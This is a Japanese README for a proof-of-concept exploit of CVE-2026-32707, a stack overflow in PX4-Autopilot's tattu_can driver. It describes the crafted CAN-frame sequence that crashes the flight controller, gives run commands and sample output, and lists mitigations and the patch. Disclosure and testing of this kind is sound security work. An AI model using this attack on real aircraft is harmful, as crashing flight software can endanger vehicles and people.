
CVE-2026-32707の概念実証エクスプロイト。PX4-Autopilotのtattu_canドライバにおけるスタックバッファオーバーフローで、巧妙に細工されたCANフレームを介してサービス拒否を引き起こします。
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
このリポジトリには、PX4-Autopilot フライトコントローラファームウェア(バージョン ≤ 1.17.0-rc1)の tattu_can ドライバにおけるスタックベースのバッファオーバーフローである CVE-2026-32707 の概念実証(PoC)エクスプロイトが含まれています。この脆弱性はマルチフレームメッセージ組み立てルーチンに存在します。スタック上で Tattu12SBatteryMessage 構造体を再組み立てする際、ドライバは累積オフセットをバッファサイズ(48バイト)に対してチェックせずに、境界チェックのない memcpy() 操作を実行します。同じバスに CAN フレームを注入できる攻撃者は、このオーバーフローを引き起こし、スタック破損とそれに続く PX4 プロセスのクラッシュ(サービス拒否)を発生させることができます。
sequenceDiagram
participant Attacker as Attacker (CAN Node)
participant CANbus as CAN Bus
participant PX4 as PX4 Autopilot (tattu_can)
Attacker->>CANbus: 1. Start frame (DLC=8, data[7]=0x80)
CANbus->>PX4: Start-of-transfer received
PX4->>PX4: tattu_message buffer (48 bytes)<br/>Copy offset=5 bytes
loop Overflow frames (7x)
Attacker->>CANbus: Overflow frame (DLC=8, payload 7 bytes)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset += 7
end
Attacker->>CANbus: Final overflow frame (DLC=8)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset > 48 → STACK OVERFLOW
PX4-->>PX4: Crash (segfault / hard fault)
Note over PX4: Denial of Servicetattu_can ドライバが有効な PX4-Autopilot ≤ 1.17.0-rc13f04b7a)python-can ライブラリCAP_NET_RAW)can0 または仮想 vcan0)# リポジトリをクローン
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC
# python-can をインストール
pip3 install python-can
# (任意) テスト用の仮想 CAN インターフェースを作成
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
sudo python3 exploit.py <can_interface>
# 仮想 CAN インターフェース経由でエクスプロイト(シミュレーション/テスト用)
sudo python3 exploit.py vcan0
# 物理 CAN バス経由でエクスプロイト
sudo python3 exploit.py can0
0x80 に設定されており、ドライバに新しい Tattu12SBatteryMessage の組み立て開始を通知し、最初の 5 バイトをスタックバッファにコピーします。memcpy() をトリガーし、バッファ境界を超えて書き込み、スタックフレームを破損させます。[*] Sending start-of-transfer frame on vcan0 (can_id=0x00000123)
[*] Sending 7 overflow frames (each copies 7 bytes)...
[*] Sending final overflow frame...
[+] Attack sequence completed. The PX4 tattu_can driver should now crash.
tattu_can ドライバを無効化する(tattu_can stop またはビルドから削除)。3f04b7a で追加された境界チェック):while (receive(&received_frame) > 0) {
+ if (received_frame.payload_size == 0) {
+ break;
+ }
size_t payload_size = received_frame.payload_size - 1;
- // TODO: add check ...
+ if (offset + payload_size > sizeof(tattu_message)) {
+ break;
+ }
memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
offset += payload_size;
}
3f04b7aこの概念実証は教育およびセキュリティテスト目的のみで提供されています。所有しているシステム、または明示的なテスト許可を得たシステムでのみ使用してください。著者は、このコードの誤用または損害について一切の責任を負いません。